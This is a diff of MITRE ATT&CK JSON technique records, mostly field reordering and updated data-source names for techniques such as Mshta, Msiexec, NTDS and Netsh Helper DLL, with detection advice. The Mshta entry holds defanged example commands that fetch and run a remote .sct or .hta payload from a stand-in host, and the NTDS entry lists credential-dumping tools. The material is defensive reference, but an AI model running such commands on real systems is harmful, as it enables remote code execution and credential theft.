Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", "x_mitre_data_sources": [ - "Network device run-time memory", - "Network device configuration", - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -19395,13 +20621,15 @@ "created": "2018-01-16T16:13:52.465Z" }, { - "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", - "name": "Mshta", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-01-23T19:32:49.557Z", + "modified": "2020-12-30T14:29:06.462Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -19419,9 +20647,9 @@ "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" }, { - "source_name": "FireEye Attacks Leveraging HTA", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" + "source_name": "FireEye Attacks Leveraging HTA" }, { "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", @@ -19429,9 +20657,9 @@ "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" }, { - "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + "source_name": "FireEye FIN7 April 2017" }, { "source_name": "Wikipedia HTML Application", @@ -19449,50 +20677,40 @@ "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019." } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-06-20T22:35:27.613Z", - "created": "2020-01-23T19:32:49.557Z", - "x_mitre_platforms": [ - "Windows" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Mshta", + "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", + "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" ], "x_mitre_contributors": [ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", "Ricardo Dias" ], - "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", - "x_mitre_defense_bypassed": [ - "Application control", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_platforms": [ + "Windows" + ] }, { - "created": "2020-01-24T14:38:49.266Z", - "modified": "2020-06-20T22:38:14.154Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "type": "attack-pattern", "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.", + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "name": "Msiexec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -19518,8 +20736,25 @@ "source_name": "TrendMicro Msiexec Feb 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019." + }, + { + "source_name": "Microsoft AlwaysInstallElevated 2018", + "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated", + "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020." } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2020-12-14T18:40:45.170Z", + "created": "2020-01-24T14:38:49.266Z", + "x_mitre_contributors": [ + "Alexandros Pappas" + ], "x_mitre_platforms": [ "Windows" ], @@ -19532,11 +20767,12 @@ "User" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "DLL monitoring", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" ] }, { @@ -19566,11 +20802,8 @@ "x_mitre_is_subtechnique": false, "x_mitre_version": "1.0", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network device logs", - "Network protocol analysis", - "Packet capture", - "Process use of network" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" ], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.", "x_mitre_network_requirements": true, @@ -19628,9 +20861,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.", "x_mitre_data_sources": [ - "Packet capture", - "Network protocol analysis", - "Netflow/Enclave netflow" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -19677,13 +20910,6 @@ ], "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.", - "x_mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], "x_mitre_version": "1.0" }, { @@ -19722,17 +20948,8 @@ "created": "2017-05-31T21:31:01.315Z" }, { - "created": "2020-02-11T18:42:35.572Z", - "modified": "2020-03-24T20:39:39.949Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "type": "attack-pattern", "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", - "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", "name": "NTDS", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -19755,6 +20972,15 @@ "source_name": "Metcalf 2015" } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2020-12-14T23:08:02.782Z", + "created": "2020-02-11T18:42:35.572Z", "x_mitre_platforms": [ "Windows" ], @@ -19764,10 +20990,8 @@ "Administrator" ], "x_mitre_data_sources": [ - "Windows event logs", - "Process command-line parameters", - "PowerShell logs", - "Process monitoring" + "File: File Access", + "Command: Command Execution" ], "x_mitre_system_requirements": [ "Access to Domain Controller or backup" @@ -19922,27 +21146,20 @@ ], "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "x_mitre_data_sources": [ - "Process command-line parameters", - "API monitoring", - "File monitoring" + "Process: OS API Execution", + "File: File Metadata", + "File: File Modification", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" ] }, { - "created": "2017-05-31T21:31:17.472Z", - "modified": "2020-07-01T16:19:54.646Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "type": "attack-pattern", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Native API", + "description": "Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.", "external_references": [ { "source_name": "mitre-attack", @@ -20005,31 +21222,37 @@ "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020." } ], - "description": "Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.", - "name": "Native API", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "2.0", - "x_mitre_contributors": [ - "Stefan Kanthak" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "System calls", - "Loaded DLLs", - "API monitoring", - "Process monitoring" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } ], - "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_remote_support": false, + "modified": "2020-07-01T16:19:54.646Z", + "created": "2017-05-31T21:31:17.472Z", "x_mitre_platforms": [ "Windows", "macOS", "Linux" - ] + ], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_version": "2.0", + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", @@ -20062,6 +21285,26 @@ "created": "2017-05-31T21:31:40.168Z" }, { + "created": "2020-01-24T14:26:51.207Z", + "modified": "2020-03-24T18:28:07.793Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "name": "Netsh Helper DLL", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -20084,45 +21327,25 @@ "source_name": "Demaske Netsh Persistence" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Netsh Helper DLL", - "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", - "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "modified": "2020-03-24T18:28:07.793Z", - "created": "2020-01-24T14:26:51.207Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", - "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Windows Registry", - "DLL monitoring" + "x_mitre_platforms": [ + "Windows" ], "x_mitre_contributors": [ "Matthew Demaske, Adaptforward" ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "created": "2020-10-19T16:48:08.241Z", @@ -20157,8 +21380,8 @@ "Network" ], "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.", "x_mitre_permissions_required": [ @@ -20195,8 +21418,8 @@ "Network" ], "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.", "x_mitre_defense_bypassed": [ @@ -20251,31 +21474,32 @@ "phase_name": "impact" } ], - "modified": "2020-09-16T15:58:18.788Z", + "modified": "2021-04-12T18:34:06.995Z", "created": "2019-04-17T20:23:15.105Z", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], "x_mitre_is_subtechnique": false, "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", "x_mitre_data_sources": [ - "Sensor health and status", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "Network device logs" + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_impact_type": [ "Availability" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure AD", - "SaaS", - "Azure", - "Office 365" + "Google Workspace", + "Containers" ] }, { @@ -20317,18 +21541,22 @@ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" } ], - "modified": "2020-10-21T02:41:11.550Z", + "modified": "2021-04-20T20:11:00.356Z", "created": "2020-10-19T17:58:04.155Z", - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).", "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -20369,10 +21597,7 @@ "modified": "2020-10-22T16:43:38.388Z", "created": "2020-10-20T00:09:33.072Z", "x_mitre_data_sources": [ - "Network device logs", - "Network device run-time memory", - "Network device command history", - "Network device configuration" + "Command: Command Execution" ], "x_mitre_platforms": [ "Network" @@ -20425,9 +21650,8 @@ "modified": "2020-10-22T01:45:55.144Z", "created": "2020-10-20T00:08:21.745Z", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_permissions_required": [ "Administrator" @@ -20476,8 +21700,11 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification" ], "x_mitre_platforms": [ "Windows" @@ -20501,7 +21728,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Security Appliances", - "description": "Before compromising a victim, adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via 